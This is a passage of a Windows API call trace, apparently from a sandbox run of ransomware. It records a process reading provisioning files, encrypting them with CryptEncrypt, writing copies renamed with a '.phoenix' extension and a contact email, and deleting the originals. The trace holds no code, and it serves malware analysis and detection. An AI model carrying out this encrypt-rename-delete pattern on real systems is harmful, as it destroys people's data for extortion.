	[0255.212] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0255.213] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.213] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bc, lpOverlapped=0x0) returned 1
	[0255.220] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0255.220] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0255.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0255.221] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.221] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.221] CryptDestroyKey (hKey=0x151280) returned 1
	[0255.221] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.222] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.222] CloseHandle (hObject=0x2c0) returned 1
	[0255.222] CloseHandle (hObject=0x2d0) returned 1
	[0255.222] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.223] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.223] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.224] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=704) returned 1
	[0255.224] CloseHandle (hObject=0x2d0) returned 1
	[0255.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.225] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.225] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0255.226] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.226] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0255.228] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.228] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.229] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0255.229] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.230] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.230] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.230] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.230] CryptDestroyKey (hKey=0x151280) returned 1
	[0255.230] CloseHandle (hObject=0x2d0) returned 1
	[0255.230] CloseHandle (hObject=0x2c0) returned 1
	[0255.230] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.231] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.231] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.232] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0255.232] CloseHandle (hObject=0x2c0) returned 1
	[0255.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.232] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.232] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.232] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.232] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.233] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0255.233] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.233] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0255.238] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.238] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.239] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0255.239] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.239] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.239] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.239] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.239] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.239] CloseHandle (hObject=0x2c0) returned 1
	[0255.239] CloseHandle (hObject=0x2d0) returned 1
	[0255.240] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.241] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.241] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.241] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=706) returned 1
	[0255.241] CloseHandle (hObject=0x2d0) returned 1
	[0255.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.242] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.242] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.242] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.242] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.243] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0255.243] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.243] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c2, lpOverlapped=0x0) returned 1
	[0255.735] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.735] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0255.736] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.736] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.736] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.736] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.736] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.736] CloseHandle (hObject=0x2d0) returned 1
	[0255.737] CloseHandle (hObject=0x2c0) returned 1
	[0255.737] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.738] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.738] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.739] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=710) returned 1
	[0255.739] CloseHandle (hObject=0x2c0) returned 1
	[0255.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.739] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.739] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.739] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.740] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.744] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0255.744] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.744] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c6, lpOverlapped=0x0) returned 1
	[0255.745] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.745] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.746] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0255.746] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.746] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
